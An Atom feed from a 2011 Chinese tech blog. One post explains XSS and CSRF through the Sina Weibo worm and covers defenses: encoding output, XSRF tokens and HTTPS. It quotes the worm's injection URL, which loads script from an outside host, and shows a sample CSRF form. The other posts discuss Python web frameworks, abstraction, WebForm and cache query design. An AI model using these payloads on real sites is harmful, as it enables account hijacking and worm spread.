<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom"><title type="text">博客园_wuvist</title><subtitle type="text"/><id>http://feed.cnblogs.com/blog/u/5816/rss</id><updated>2011-06-29T07:06:19Z</updated><author><name>问天</name><uri>http://www.cnblogs.com/wuvist/</uri></author><generator>CNBlogs BlogServer</generator><link rel="alternate" type="text/html" href="http://www.cnblogs.com/wuvist/"/><link rel="self" type="application/atom+xml" href="http://feed.cnblogs.com/blog/u/5816/rss"/><entry><id>http://www.cnblogs.com/wuvist/archive/2011/06/29/web_security_use_sina_weibo.html</id><title type="text">Web安全，以新浪微博“郭美美”蠕虫为例</title><summary type="text">昨晚(2011/06/28)新浪微博也出现“黑客”攻击蛮有代表性；网站上流行的XSS( Cross-Site-Script) / XSRF ( Cross-site request forgery ) 往往是被web开发者忽视的，这里记述一下相关的事情。</summary><published>2011-06-29T07:06:00Z</published><updated>2011-06-29T07:06:00Z</updated><author><name>问天</name><uri>http://www.cnblogs.com/wuvist/</uri></author><link rel="alternate" href="http://www.cnblogs.com/wuvist/archive/2011/06/29/web_security_use_sina_weibo.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/wuvist/archive/2011/06/29/web_security_use_sina_weibo.html"/><content type="html">昨晚(2011/06/28)新浪微博也出现&amp;ldquo;黑客&amp;rdquo;攻击蛮有代表性；网站上流行的XSS( Cross-Site-Script) / XSRF ( Cross-site request forgery ) 往往是被web开发者忽视的，这里记述一下相关的事情。&lt;br /&gt;&lt;br /&gt;先说新浪微博。&lt;br /&gt;&lt;br /&gt;昨天的攻击情况介绍可以参考：&lt;br /&gt;&amp;nbsp; * http://soft.yesky.com/security/156/30179156.shtml&lt;br /&gt;&lt;br /&gt;昨晚的攻击漏洞根源其实很傻，被用于攻击的URL（当然这个URL现在不工作了）是：&lt;br /&gt;&amp;nbsp; * http://weibo.com/pub/star/g/xyyyd"&amp;gt;&amp;lt;script src=//www.2kt.cn/images/t.js&amp;gt;&amp;lt;/script&amp;gt;?type=update&lt;br /&gt;&lt;br /&gt;很显然，/pub/star/g/ 后面的字符串会被新浪内部write过，变成类似：&lt;br /&gt;&amp;nbsp; * http://weibo.com/pub/star.php?g=xyyyd"&amp;gt;&amp;lt;script src=//www.2kt.cn/images/t.js&amp;gt;&amp;lt;/script&amp;gt;?type=update&lt;br /&gt;&lt;br /&gt;的玩意，然后star.php竟然会把querystring中g的值直接显示到页面中，相当于 weibo.com 在自己的页面中嵌入了一个来自于 2kt.cn的js脚本。&lt;br /&gt;&lt;br /&gt;这种是相当低级的注入攻击，有做web开发经验的同学都应该懂；应该说，新浪微博遭遇的这次攻击的根源还跟XSS / XSRF 这些&amp;ldquo;高级&amp;rdquo;玩意完全没有关系。&lt;br /&gt;&lt;br /&gt;weibo.com的页面被嵌入第三方js之后，这个js做的就是 XSRF去完成各种发推/关注/私信的操作，但从安全的角度看，这些我认为已经不重要了，这次的攻击根源仅是最低级的页面注入。&lt;br /&gt;&lt;br /&gt;要避免这样的问题，在页面模板中，所有的变量输出，默认都应该做 HTML encode:&lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;lt;%=Request.QueryString["qry"] %&amp;gt;&lt;br /&gt;&lt;br /&gt;默认就应该对输出的值做html encode，相当于：&lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;lt;%=HttpUtil.HtmlEncode(Request.QueryString["qry"]) %&amp;gt;&lt;br /&gt;&lt;br /&gt;目前新web框架的模板引擎基本默认都会对变量页面输出做html encode；这样注入的问题都会被避免。&lt;br /&gt;&lt;br /&gt;以Razor为例：&lt;br /&gt;&amp;lt;div&amp;gt;&lt;br /&gt;@Model.UserName&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;默认相当于：&lt;br /&gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;%=UttpUtil.HtmlEncode(Model.UserName) %&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;至于连模板都没有用，直接拼接字符串输出html的做法，就彻底无语了。&lt;br /&gt;&lt;br /&gt;====== XSRF / XSS ======&lt;br /&gt;这样的攻击方式才相对&amp;ldquo;新颖&amp;rdquo;一些。&lt;br /&gt;&lt;br /&gt;===== HTTP Get =====&lt;br /&gt;假设网站存在可能导致用户数据改变的接口，如：&lt;br /&gt;&amp;nbsp; * http://dummydomain.com/update_nick.aspx?nick=Stupid&lt;br /&gt;&lt;br /&gt;那么，第三方网站可以直接将上述URL作为一个img标签的src，使得用户在访问的时候自动去获取此页面，造成昵称被改。&lt;br /&gt;&lt;br /&gt;这里的问题根源是接口定义违反了HTTP的推荐设计。&lt;br /&gt;&lt;br /&gt;一切HTTP Get操作，都不应该涉及用户数据的修改；必须强制使用为POST，以避免数据被无意/恶意修改。&lt;br /&gt;&lt;br /&gt;===== HTTP Post =====&lt;br /&gt;假设修改昵称的接口变成：&lt;br /&gt;&amp;nbsp; * http://dummydomain.com/update_nick.aspx&lt;br /&gt;&lt;br /&gt;用户必须通过form提交才可能可以修改数据，比方说：&lt;br /&gt;&amp;lt;code html&amp;gt;&lt;br /&gt;&amp;lt;form action="http://dummydomain.com/update_nick.aspx" method="post"&amp;gt;&lt;br /&gt;&amp;lt;input type="text" name="nick" value="" /&amp;gt;&lt;br /&gt;&amp;lt;input type="submit" /&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&amp;lt;/code&amp;gt;&lt;br /&gt;这样的设计实际上也还是会有问题的，比方说，攻击者可以在 http://attackerdomain.com/clickme.html 里面写：&lt;br /&gt;&lt;br /&gt;&amp;lt;code html&amp;gt;&lt;br /&gt;&amp;lt;form action="http://dummydomain.com/update_nick.aspx" method="post"&amp;gt;&lt;br /&gt;&amp;lt;input type="hidden" name="nick" value="Stupid" /&amp;gt;&lt;br /&gt;&amp;lt;input type="submit" value="Click Me!!" /&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&amp;lt;/code&amp;gt;&lt;br /&gt;用户在访问 attackerdomain.com 的时候，便有可能被误导去点击，然后造成自己在 dummydomain.com 的数据被修改。&lt;br /&gt;&lt;br /&gt;在这样的场景下，无论接口是Get还是Post，都无济于事；这类攻击是被称为 XSRF： Cross-site request forgery。&lt;br /&gt;&lt;br /&gt;===== XSRF =====&lt;br /&gt;相比起页面注入，Web开发者对于XSRF的认识还不够；但它也是可以防范的。&lt;br /&gt;&lt;br /&gt;首先，要确保所有的涉及数据更新的操作都是经过HTTP Post。&lt;br /&gt;&lt;br /&gt;然后，服务器端强制要求所有 HTTP Post都必须包含一个 _XSRF 的参数；其值必须跟Cookie中的同名Cookie相同，比方说：&lt;br /&gt;&lt;br /&gt;&amp;lt;code html&amp;gt;&lt;br /&gt;&amp;lt;form action="http://dummydomain.com/update_nick.aspx" method="post"&amp;gt;&lt;br /&gt;&amp;lt;input type="hidden" name="_XSRF" value="secret_value" /&amp;gt;&lt;br /&gt;&amp;lt;input type="text" name="nick" value="" /&amp;gt;&lt;br /&gt;&amp;lt;input type="submit" /&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&amp;lt;/code&amp;gt;&lt;br /&gt;&lt;br /&gt;当攻击者企图从 http://attackerdomain.com/clickme.html 页面提交资料去 http://dummydomain.com/update_nick.aspx 时，浏览器发送的是 dummydomain的 cookie；而这个cookie的值，是attacherdomain.com所无法获得的，也就是说，它无法伪造：&lt;br /&gt;&lt;br /&gt;&amp;lt;code html&amp;gt;&lt;br /&gt;&amp;lt;form action="http://dummydomain.com/update_nick.aspx" method="post"&amp;gt;&lt;br /&gt;&amp;lt;input type="hidden" name="_XSRF" value="Attacher can't know this value!" /&amp;gt;&lt;br /&gt;&amp;lt;input type="hidden" name="nick" value="Stupid" /&amp;gt;&lt;br /&gt;&amp;lt;input type="submit" value="Click Me!!" /&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&amp;lt;/code&amp;gt;&lt;br /&gt;&lt;br /&gt;有安全意识，或者说，先进的web框架（ Django / Tornado / RoR 等等 ），默认都强制要求POST提交必须有 XSRF 检查。&lt;br /&gt;&lt;br /&gt;微软的技术，基本都是跟在别人后面的，目前似乎还是的开发者手动去处理，asp.net MVC 可以参考：&lt;br /&gt;&amp;nbsp; * http://weblogs.asp.net/srkirkland/archive/2010/04/14/guarding-against-csrf-attacks-in-asp-net-mvc2.aspx&lt;br /&gt;&lt;br /&gt;如果asp.net开发者没有安全意识，专门去给所有页面添加XSRF的检查，那么做出来的网站，都可能受到 XSRF 攻击。&lt;br /&gt;&lt;br /&gt;大家有兴趣的话可以去挑各种asp.net开发的网站去试；或者说，想想自己做过的网站是否会受到此种攻击。&lt;br /&gt;&lt;br /&gt;:)&lt;br /&gt;&lt;br /&gt;====== Web 安全的根基 ======&lt;br /&gt;Cookie / Same origin policy（简单的说，就是防止AJAX跨域）是 Web安全的根源。&lt;br /&gt;&lt;br /&gt;而这两点，是由客户端浏览器所保证的，如果客户端实现得不好，域名A可以访问域名B的cookie值，或者说发起AJAX调用，那么所有服务器端的安全措施都是白搭。&lt;br /&gt;&lt;br /&gt;Cookie在HTTP中是明文传输的，是可能会被中间人窃取然后伪造的；而cookie又是Web用户认证信息的根源，一旦Cookie泄露，攻击方就可以为所欲为。&lt;br /&gt;&lt;br /&gt;所以，很多网站（比方说， twitter / gmail）默认都在强制把所有的页面传输转移去 HTTPS；以杜绝中间人的问题。&lt;br /&gt;&lt;br /&gt;千里之堤，溃于蚁穴；根基不牢靠，上层所做的任何安全措施，都可能被攻破。&lt;br /&gt;&lt;br /&gt;这里的关键，是要有一个可靠的根基，跟Web技术没有直接关系，Native程序也会有同样性质的问题。&lt;img src="http://www.cnblogs.com/wuvist/aggbug/2093398.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/wuvist/archive/2011/06/29/web_security_use_sina_weibo.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/wuvist/archive/2011/06/28/django-And-tornado.html</id><title type="text">介绍两个Python web框架：Django &amp;amp; Tornado</title><summary type="text">在各种语言平台中，python涌现的web框架恐怕是最多的；猜想原因应该是在py中构造框架十分简单，使得轮子不断被发明。这里记述一下我了解过的两个py web框架，供大家参考，希望能起他山之石的作用。</summary><published>2011-06-28T10:31:00Z</published><updated>2011-06-28T10:31:00Z</updated><author><name>问天</name><uri>http://www.cnblogs.com/wuvist/</uri></author><link rel="alternate" href="http://www.cnblogs.com/wuvist/archive/2011/06/28/django-And-tornado.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/wuvist/archive/2011/06/28/django-And-tornado.html"/><content type="html">在各种语言平台中，python涌现的web框架恐怕是最多的；猜想原因应该是在py中构造框架十分简单，使得轮子不断被发明。&lt;br /&gt;&lt;br /&gt;这里记述一下我了解过的两个py web框架，供大家参考，希望能起他山之石的作用。&lt;br /&gt;&lt;br /&gt;====== Django ======&lt;br /&gt;Django 应该是最出名的py框架，Google App Engine甚至Erlang都有框架受它影响。&lt;br /&gt;&lt;br /&gt;Django是走大而全的方向，它最出名的是其全自动化的管理后台：只需要使用起ORM，做简单的对象定义，它就能自动生成数据库结构、以及全功能的管理后台。&lt;br /&gt;&lt;br /&gt;Django提供的方便，也意味着Django内置的ORM跟框架内的其他模块耦合程度高。&lt;br /&gt;&lt;br /&gt;应用程序必须使用Django内置的ORM，否则就不能享受到框架内提供的种种基于其ORM的便利；理论上可以切换掉其ORM模块，但这就相当于要把装修完毕的房子拆除重新装修，倒不如一开始就去毛胚房做全新的装修。&lt;br /&gt;&lt;br /&gt;Django的卖点是超高的开发效率，其性能扩展有限；采用Django的项目，在流量达到一定规模后，都需要对其进行重构，才能满足性能的要求。&lt;br /&gt;&lt;br /&gt;这方面的经验可以参考：http://www.slideshare.net/zeeg/djangocon-2010-scaling-disqus&lt;br /&gt;&lt;br /&gt;Ruby的Rails也有类似的问题；以Twitter为例，推特到了今日的规模，不要说Rails，甚至是连Ruby都需要抛弃重来。&lt;br /&gt;&lt;br /&gt;就我的感觉Django适用的是中小型的网站，或者是作为大型网站快速实现产品雏形的工具。&lt;br /&gt;&lt;br /&gt;快速推出产品是王道：&lt;br /&gt;&amp;nbsp; Believe it or not, the bigger problem isn't scaling, it's getting to the point where you have to scale. Without the first problem you won't have the second. - http://gettingreal.37signals.com/ch04_Scale_Later.php&lt;br /&gt;&lt;br /&gt;===== Django 模板 =====&lt;br /&gt;Django的模板系统设计十分有意思，也应该其框架内影响最大、争议最大的部分。&lt;br /&gt;&lt;br /&gt;Django模板的设计哲学是彻底的将代码、样式分离；asp.net提倡将代码/模板分离，但技术上还是可以混合；而Django则是从根本上杜绝在模板中进行编码、处理数据的可能。&lt;br /&gt;&lt;br /&gt;比方说，asp.net模板中可以写：&lt;br /&gt;&amp;lt;%&lt;br /&gt;&amp;nbsp; int i;&lt;br /&gt;&amp;nbsp; for(i==0;i&amp;lt;10;i++){&lt;br /&gt;&amp;nbsp; ....&lt;br /&gt;&amp;nbsp; }&lt;br /&gt;%&amp;gt;&lt;br /&gt;&lt;br /&gt;Django是彻底不支持嵌入类似上面的代码，仅能使用其模板内置的函数；这实际上，是为其模板构造了一种&amp;ldquo;新语言&amp;rdquo;；由于此&amp;ldquo;新语言&amp;rdquo;十分简单，所以也能够将其模板移植到不同平台。&lt;br /&gt;&lt;br /&gt;大多数情况下，Django的模板功能是足够的，但对于特殊（有时&amp;ldquo;特殊&amp;rdquo;也不是十分特殊）的情况，还是需要在模板中嵌入代码，那么就需要根据其模板系统的规则做模板扩展。有时候，模板中直接写一行代码能够解决的问题，用模板扩展实现后，会变成十几行代码。&lt;br /&gt;&lt;br /&gt;是否容忍在模板中编程，正是Django模板争议最大之处。&lt;br /&gt;&lt;br /&gt;====== Tornado ======&lt;br /&gt;Tornado( http://www.tornadoweb.org )是Facebook开源出来的框架，其哲学跟Django近乎两个极端。&lt;br /&gt;&lt;br /&gt;Tornado走的是少而精的方向，它也有提供模板功能；虽然不鼓励，但作者是可以允许在模板进行少量编码（直接嵌入单行py代码）的。&lt;br /&gt;&lt;br /&gt;如果跟asp.net相比，Tornado有点类似仅实现了AsyncHttpHandler；除此之外，全部需要自己去实现。&lt;br /&gt;&lt;br /&gt;好吧，其实它有模板，有国际化支持，甚至还有内置的OAuth/OpenID模块，方便做第三方登录，它其实也直接实现了Http服务器。&lt;br /&gt;&lt;br /&gt;但它没有ORM（仅有一个mysql的超简单封装），甚至没有Session支持，更不要说Django那样自动化的后台。&lt;br /&gt;&lt;br /&gt;假设是一个大型网站，在高性能的要求下，框架的各个部分往往都需要定制，可以复用的模块非常少；一个以Django开发的网站，各部分经过不断的定制，Django框架剩下的，很有可能也就是tornado一开始所能提供的这部分。&lt;br /&gt;&lt;br /&gt;殊途同归。&lt;br /&gt;&lt;br /&gt;===== HTTP服务器 =====&lt;br /&gt;Tornado为了高效实现Comet/后端异步调用HTTP接口，是直接内嵌了HTTP服务器。&lt;br /&gt;&lt;br /&gt;前端无需加apache / lighttpd / nginx等也可以供浏览器访问；但它并没有完整实现HTTP 1.1的协议，所以官方文档是推荐用户在生产环境下在前端使用nginx，后端反向代理到多个Tornado实例。&lt;br /&gt;&lt;br /&gt;Tornado本身是单线程的异步网络程序，它默认启动时，会根据CPU数量运行多个实例；充分利用CPU多核的优势。&lt;br /&gt;&lt;br /&gt;===== 单线程异步 =====&lt;br /&gt;网站基本都会有数据库操作，而Tornado是单线程的，这意味着如果数据库查询返回过慢，整个服务器响应会被堵塞。&lt;br /&gt;&lt;br /&gt;数据库查询，实质上也是远程的网络调用；理想情况下，是将这些操作也封装成为异步的；但Tornado对此并**没有**提供任何支持。&lt;br /&gt;&lt;br /&gt;这是Tornado的**设计**，而不是缺陷。&lt;br /&gt;&lt;br /&gt;一个系统，要满足高流量；是必须解决数据库查询速度问题的！&lt;br /&gt;&lt;br /&gt;数据库若存在查询性能问题，整个系统无论如何优化，数据库都会是瓶颈，拖慢整个系统！&lt;br /&gt;&lt;br /&gt;异步并**不能**从本质上提到系统的性能；它仅仅是避免多余的网络响应等待，以及切换线程的CPU耗费。&lt;br /&gt;&lt;br /&gt;如果数据库查询响应太慢，需要解决的是数据库的性能问题；而不是调用数据库的前端Web应用。&lt;br /&gt;&lt;br /&gt;对于实时返回的数据查询，理想情况下需要确保所有数据都在内存中，数据库硬盘IO应该为0；这样的查询才能足够快；而如果数据库查询足够快，那么前端web应用也就无将数据查询封装为异步的必要。&lt;br /&gt;&lt;br /&gt;就算是使用协程，异步程序对于同步程序始终还是会提高复杂性；需要衡量的是处理这些额外复杂性是否值得。&lt;br /&gt;&lt;br /&gt;如果后端有查询实在是太慢，无法绕过，Tornaod的建议是将这些查询在后端封装独立封装成为HTTP接口，然后使用Tornado内置的异步HTTP客户端进行调用。&lt;img src="http://www.cnblogs.com/wuvist/aggbug/2092543.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/wuvist/archive/2011/06/28/django-And-tornado.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/wuvist/archive/2011/06/09/abstraction.html</id><title type="text">扯一下抽象</title><summary type="text">抽象是程序开发中最核心的一个概念，写下我的经验，供**初学者**参考。</summary><published>2011-06-09T10:31:00Z</published><updated>2011-06-09T10:31:00Z</updated><author><name>问天</name><uri>http://www.cnblogs.com/wuvist/</uri></author><link rel="alternate" href="http://www.cnblogs.com/wuvist/archive/2011/06/09/abstraction.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/wuvist/archive/2011/06/09/abstraction.html"/><content type="html">技术人员在选择技术方向投入时，看清楚一种技术能够取得的成长非常重要。&lt;br /&gt;&lt;br /&gt;====== 使用抽象 ======&lt;br /&gt;微软的技术中有很多好东西，但是它也有大量为了吸引初级程序员而推出的技术，这类技术的本质就是做高层次封装，让特定场景的开发变得极其&amp;ldquo;简单&amp;rdquo;/&amp;ldquo;快速&amp;rdquo;。&lt;br /&gt;&lt;br /&gt;学习类似这样技术的时候，必须保持清醒，明确了解这些技术实际上仅是在做&amp;ldquo;抽象&amp;rdquo;/&amp;ldquo;封装&amp;rdquo;，把更多注意力放在它们如何做封装的，封装背后的真正技术是什么上。&lt;br /&gt;&lt;br /&gt;如果仅仅是去了解怎么用这些封装，用来&amp;ldquo;搞定&amp;rdquo;项目就算数，以这样的态度做技术，则很难会有进步；也特别容易被淘汰。因为学习的，仅仅是别人封装（而且是很高层次的封装）过的东西；而封装的方式时刻都在变，这也就是所谓的&amp;ldquo;技术更新很快&amp;rdquo;。&lt;br /&gt;&lt;br /&gt;WebForm / WinForm / AJAX.Net等都是如此。在学使用别人封装过的东西时，如果没有学到一些相对&amp;ldquo;本质&amp;rdquo;的东西，&amp;ldquo;知识&amp;rdquo;的有效性/价值是非常低的。&lt;br /&gt;&lt;br /&gt;做技术，需要掌握的是更加&amp;ldquo;本质&amp;rdquo;的东西，修炼&amp;ldquo;内力&amp;rdquo;；在摆好招式，耍好眼前的刀的**前提**下。&lt;br /&gt;&lt;br /&gt;====== 提供抽象 ======&lt;br /&gt;&lt;br /&gt;而具体在开发上，我们一直需要面临的是如何做&amp;ldquo;重构&amp;rdquo;，做封装，做抽象。&lt;br /&gt;&lt;br /&gt;小到一个功能，一个函数，要做怎样的封装，要保留怎样的接口；都是可以琢磨的。&lt;br /&gt;&lt;br /&gt;怎么琢磨，怎么做才更好？就我个人的经验，不是在做之前去做深入思考；而是快速的去实现一个感觉可行的版本，然后根据实践结果，做反复/多次的修改。&lt;br /&gt;&lt;br /&gt;快速的实现，反复的修改。&lt;br /&gt;&lt;br /&gt;一个底层库要怎么设计，先根据现在的能力出一个版本，让大家去用，让自己去用，根据反馈，根据自身体验，**持续**的出新版本。&lt;br /&gt;&lt;br /&gt;这里最重要的是后者，持续的改进；如果快速实现了一个烂烂的版本，不再改进，那还不如不要实现。&lt;br /&gt;&lt;br /&gt;反复的根据回馈精益求精的做修改，不能&amp;ldquo;一次搞定&amp;rdquo;，表面上看很浪费时间，但却是学习提高的最快方式。&lt;br /&gt;&lt;br /&gt;更加准确的说，是技术人员在实际工作中提高的最快方式；如果是学生，慢慢的去看书，读大师的著作，那是理想。&lt;img src="http://www.cnblogs.com/wuvist/aggbug/2076731.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/wuvist/archive/2011/06/09/abstraction.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/wuvist/archive/2011/06/09/webform_leaking.html</id><title type="text">跟赵姐夫扯 webform的设计</title><summary type="text">webform的设计争论应该是“月经贴”，但今天跟老赵的这些讨论我觉得还是有些新意。</summary><published>2011-06-09T08:52:00Z</published><updated>2011-06-09T08:52:00Z</updated><author><name>问天</name><uri>http://www.cnblogs.com/wuvist/</uri></author><link rel="alternate" href="http://www.cnblogs.com/wuvist/archive/2011/06/09/webform_leaking.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/wuvist/archive/2011/06/09/webform_leaking.html"/><content type="html">&lt;p&gt;原文网址： http://weibo.com/1560442584/eBP3YXO0OOi#a_comment&lt;/p&gt;&#xD;
&lt;p&gt;Wuvist：以面向对象的方式去做桌面APP，完全没有问题；但web环境下，BS是分离的，HTTP是无状态的短链接，必须要有ViewState这样的玩意去伪装；而它们必然造成性能低下；再加上Law of Leaky Abstractions，这些使得webform造成很多不必要的问题。到头来还不如直接去手写HTML。(今天 15:09) &lt;br /&gt;&lt;br /&gt;赵姐夫：谁说有ViewState必然造成性能低下的啊，乱用当然性能低下了。(今天 15:14)&lt;br /&gt;&lt;br /&gt;Wuvist：开ViewState，页面至少多几个字符，对性能就是有影响；而对于高流量网站，这种少几个字符的优化也是很现实的考量；但这点不重要，咱无需纠结字眼；关键在于webform的抽象非常"leaky"。(今天 15:24)&lt;br /&gt;&lt;br /&gt;Wuvist：http://t.cn/htDPPb 一年十万；举个简单例子，无法快速响应用户的鼠标操作，比方说，滚动/快速点击；这些必须在客户端直接写javascript才可以实现快速的体验；点个button，背景换个颜色，用服务器端callback函数去做，会慢死；这就是leak。(今天 15:34)&lt;br /&gt;&lt;br /&gt;赵姐夫：taobao这样流量的网站，去年QCon分享时说了，这方面优化好以后，大概一年省了几百块，嗯嗯。至于非常leaky，期待详谈。(今天 15:26)&lt;br /&gt;&lt;br /&gt;Wuvist：OO的设计模型不是问题；问题在于非常leaky的OO抽象。回过去头去看ExtJ的OO抽象，它是纯客户端的，不需要跨越BS的鸿沟，效果就好很多。带宽有限，用webform的抽象带来的性能问题太杯具，因而产生了无数&amp;ldquo;正确使用webform&amp;rdquo;的知识经验。何苦呢？(59分钟前)&lt;br /&gt;&lt;br /&gt;赵姐夫：我也用WebForm写过n多程序了，从不觉得有什么性能问题是WebForm引起的。事实上叫的最响的人是要么不用要么不懂的人。至于Best Practice，好像MVC啊，PHP，Rails都没有一样&amp;hellip;&amp;hellip;(51分钟前)&lt;br /&gt;&lt;br /&gt;赵姐夫：两个是一回事情么？再看看清楚文章吧。我看出来了，你说WebForm不好，是因为它没有解决所有问题，但它从来没说自己解决了所有问题。本来用WebForm就没说就不能或是不该用JS了，用JS配合WebForm怎么就变成恶心的事情了。(48分钟前)&lt;br /&gt;&lt;br /&gt;Wuvist：文章我想我看得很清楚，这方面我想我们理解是一致的，就不扯了；js配合webform确实很恶心，能用好js，对HTML低层有了解；webform能解决的问题，不用它也可以解决得很好；为什么要用它呢？为什么要投入时间去学专门解决webform问题的best practice呢？(37分钟前)&lt;br /&gt;&lt;br /&gt;赵姐夫：我没学过专门为了解决webform问题的best practice，我只是了解HTML，JS，然后用WebForm加快我的开发效率而已。(28分钟前)&lt;br /&gt;&lt;br /&gt;Wuvist：这是您的个案，而且是否enable viewstat，这算是webform特有的问题么？大多数人走的是webform =&amp;gt; html/js的弯路，webform诞生之初的目的，就在于把html/js抽象掉，让desktop developer以desktop的方式去搞web，造就无数杯具，这点，我又是否说错呢？(22分钟前)&lt;br /&gt;&lt;br /&gt;赵姐夫：错了，我从没觉得WebForms是为了摆脱HTML，JS。不知道谁把这要求加到WebForm身上的，然后从一个理想主义者掉到一个虚无主义者而已。至于enable viewstate，哪个类库框架没个这种配置的？(18分钟前)&lt;br /&gt;&lt;br /&gt;Wuvist： http://t.cn/aKAHN1 A rich set of server-side controls that can detect the browser and send out appropriate markup language such as HTML(14分钟前)&lt;br /&gt;&lt;br /&gt;赵姐夫：所以你的理解是，WebForm的目的是完全摆脱HTML和JS？好吧，你和我的理解的确是完全不同的。(12分钟前)&lt;br /&gt;&lt;br /&gt;Wuvist：那您是怎么理解微软在01年说的这六点&amp;ldquo;The Purpose of Web Forms&amp;rdquo;呢？(6分钟前)&lt;br /&gt;&lt;br /&gt;赵姐夫：提出一种提高开发效率的模型啊。(4分钟前)&lt;br /&gt;&lt;br /&gt;Wuvist：我觉得我们刚刚这串讨论蛮有意思的，我整理发成blog可好？(5分钟前)&lt;br /&gt;&lt;br /&gt;赵姐夫：我没有意见，呵呵。(4分钟前)&lt;/p&gt;&lt;img src="http://www.cnblogs.com/wuvist/aggbug/2076561.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/wuvist/archive/2011/06/09/webform_leaking.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/wuvist/archive/2011/02/11/MoSonic_4_Cache-Money_FriendFeed_Thrift_In_SubSonic.html</id><title type="text">MoSonic：对SubSonic的分布式存储、缓存改进尝试(4)</title><summary type="text">select is_banned from users where user_name=XXX相对于select id from users where user_name=XXXselect * from users where id=YYY再获得is_banned列是否是优化？</summary><published>2011-02-10T18:39:00Z</published><updated>2011-02-10T18:39:00Z</updated><author><name>问天</name><uri>http://www.cnblogs.com/wuvist/</uri></author><link rel="alternate" href="http://www.cnblogs.com/wuvist/archive/2011/02/11/MoSonic_4_Cache-Money_FriendFeed_Thrift_In_SubSonic.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/wuvist/archive/2011/02/11/MoSonic_4_Cache-Money_FriendFeed_Thrift_In_SubSonic.html"/><content type="html">&lt;p&gt;之前&lt;a href="http://www.cnblogs.com/wuvist/archive/2011/01/15/MoSonic_3_Cache-Money_FriendFeed_Thrift_In_SubSonic.html"&gt;三篇&lt;/a&gt;讲了MoSonic整体设计上的思路参考。这篇讲一下其中的一些细节优化方面遇到的问题。&lt;/p&gt;&#xD;
&lt;p&gt;Cache Money对于查询类型的要求限制的非常死，整个系统变成只有两种查询：&lt;/p&gt;&#xD;
&#xD;
&lt;ol&gt;&#xD;
&lt;li&gt;select id from table where simple condition&amp;nbsp;&lt;/li&gt;&#xD;
&lt;li&gt;select * from table where id = XXX&lt;/li&gt;&#xD;
&lt;/ol&gt;&#xD;
&#xD;
&lt;p&gt;假设有user表，有password跟is_banned两列。已知user_name，要如何获得is_banned？&lt;/p&gt;&#xD;
&lt;p&gt;Cache Money的限制使得必须得有两个查询：&lt;/p&gt;&#xD;
&#xD;
&lt;ol&gt;&#xD;
&lt;li&gt;select id from user where user_name=XXX&lt;/li&gt;&#xD;
&lt;li&gt;select * from user where id=XXX&lt;/li&gt;&#xD;
&lt;/ol&gt;&#xD;
&#xD;
&lt;p&gt;然后再从第二个查询里面的*去获得is_banned。&lt;/p&gt;&#xD;
&lt;p&gt;有人会认为这很傻，完全可以用一个: select&amp;nbsp;is_banned&amp;nbsp;from user where user_name=XXX的查询来替代，实现减少sql查询次数，以及sql返回的数量两方面的优化。&lt;/p&gt;&#xD;
&lt;p&gt;这是&amp;ldquo;优化&amp;rdquo;是一个很有意思的问题。如果我们要认为&amp;nbsp;select&amp;nbsp;is_banned&amp;nbsp;from user where user_name=XXX 是一个优化；首先必须清楚了解这条sql中数据库究竟做了什么。&lt;/p&gt;&#xD;
&lt;p&gt;首先，要支持where user_name=XXX的查询，user_name这列是必须加索引的。&lt;/p&gt;&#xD;
&lt;p&gt;那么，user_name的索引中包含了什么？这实质上是user_name对user表主键（id）的索引！&lt;/p&gt;&#xD;
&lt;p&gt;数据库要返回is_banned这个数据，实际上它是需要：&lt;/p&gt;&#xD;
&#xD;
&lt;ol&gt;&#xD;
&lt;li&gt;首先查询user_name的索引，获得id的对应的row指针&lt;/li&gt;&#xD;
&lt;li&gt;根据指针定位至真实的row，并在row找到is_banned的列的数据，才能返回。&lt;/li&gt;&#xD;
&lt;/ol&gt;&#xD;
&#xD;
&lt;p&gt;上述的数据库内部操作，跟cache money的两个查询实质上是一一对应的。&lt;/p&gt;&#xD;
&lt;p&gt;唯一不同的是，数据库查询是硬盘寻址，而cache money是memcache访问。&lt;/p&gt;&#xD;
&lt;p&gt;memcache与传统硬盘谁快？memcache与SSD硬盘谁快？一个memcache集群与单个SSD物理硬盘谁快？高并发情景下又如何？&lt;/p&gt;&#xD;
&lt;p&gt;我们的初衷是要实现一个分布式的系统以解决性能问题，但为什么突然又要把单个硬盘上的操作视为一个优化？&lt;/p&gt;&#xD;
&lt;p&gt;有人还会认为一开始user_name的索引其实建错了，应该是建user_name +&amp;nbsp;is_banned的联合索引，这样数据库内部在执行select&amp;nbsp;is_banned&amp;nbsp;from user where user_name=XXX 这个查询的时候，就可以直接在索引数据上获得is_banned的值，而无需多一次寻址。&lt;/p&gt;&#xD;
&lt;p&gt;这种又是不是优化？&lt;/p&gt;&#xD;
